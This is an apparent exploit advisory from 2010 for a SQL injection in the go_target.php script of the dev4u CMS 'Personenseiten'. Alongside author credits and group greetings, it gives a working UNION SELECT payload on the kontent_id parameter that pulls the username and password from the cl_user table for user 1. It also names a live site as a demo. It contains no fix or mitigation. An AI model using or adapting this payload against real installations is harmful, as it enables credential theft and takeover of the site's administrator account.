Dev4U CMS Personenseiten SQL Injection

`----------------------------Information------------------------------------------------  
+Name : dev4u CMS (Personenseiten) go_target.php SQL Injection  
+Autor : Easy Laster  
+Date : 06.03.2010  
+Script : dev4u CMS Personenseiten  
+Download Site : http://www.dev4u.de/cms/personenseiten.php  
+Demo : http://ostpreussen.net/  
+Price : 595€  
+Language :PHP  
+Discovered by Easy Laster  
+Security Group 4004-Security-Project  
+Greetz to Team-Internet ,Underground Agents  
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,  
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,  
N00bor,novaca!ne.  
  
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___ ___ ___ ___ _ _ _____ _ _   
| | | | | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___| _ |___ ___ |_|___ ___| |_   
|_ | | | | |_ |___|_ -| -_| _| | | _| | _| | |___| __| _| . | | | -_| _| _|  
|_|___|___| |_| |___|___|___|___|_| |_|_| |_ | |__| |_| |___|_| |___|___|_|   
|___| |___|   
  
  
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+Vulnerability : www.site.com/dev4u/go_target.php?go_target=texte&kontent_id=999999'  
  
+Exploitable : www.site.com/dev4u/go_target.php?go_target=texte&kontent_id=9999999'  
+union+select+1,2,3,4,5,6,7,8,concat(user_name,0x3a,passwort),10,11,12,13,14,15,16+from+  
cl_user+where+user_id=1--+&v=print  
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`